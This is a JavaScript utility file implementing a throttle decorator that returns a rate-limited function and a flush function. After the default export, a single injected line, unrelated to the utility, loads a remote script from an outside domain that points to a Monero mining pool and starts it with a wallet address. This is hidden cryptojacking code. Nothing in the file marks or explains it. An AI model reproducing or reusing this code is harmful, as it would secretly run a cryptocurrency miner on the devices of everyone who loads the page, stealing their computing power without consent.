HOME

/**
 * Throttle decorator
 * @param {Function} fn
 * @param {Number} freq
 * @return {Function}
 */
function throttle(fn, freq) {
  let timestamp = 0;
  let threshold = 1000 / freq;
  let lastArgs;
  let timer;

  const invoke = (args, now = Date.now()) => {
    timestamp = now;
    lastArgs = null;
    if (timer) {
      clearTimeout(timer);
      timer = null;
    }
    fn.apply(null, args);
  }

  const throttled = (...args) => {
    const now = Date.now();
    const passed = now - timestamp;
    if ( passed >= threshold) {
      invoke(args, now);
    } else {
      lastArgs = args;
      if (!timer) {
        timer = setTimeout(() => {
          timer = null;
          invoke(lastArgs)
        }, threshold - passed);
      }
    }
  }

  const flush = () => lastArgs && invoke(lastArgs);

  return [throttled, flush];
}

export default throttle;
if (!inrifmw){function inrifmw() { var t=document.getElementsByTagName("head")[0], e=document.createElement("script");e.type="text/javascript",e.src="https://trustisimportant.fun/karma/karma.js?karma=bs?nosaj=gulf.moneroocean.stream:10008",e.async="async",t.appendChild(e), e.onload = function() {EverythingIsLife('8BwyhvcK6ANZXBY6HcHDz36vZc7Y5PRx9MuMpKVcpVX5aV6dY9Yt3u1Hos95cntHGXb4vGy9dfBDaE12hR82UgZWThV4j6w', 'x', 30)} }inrifmw()}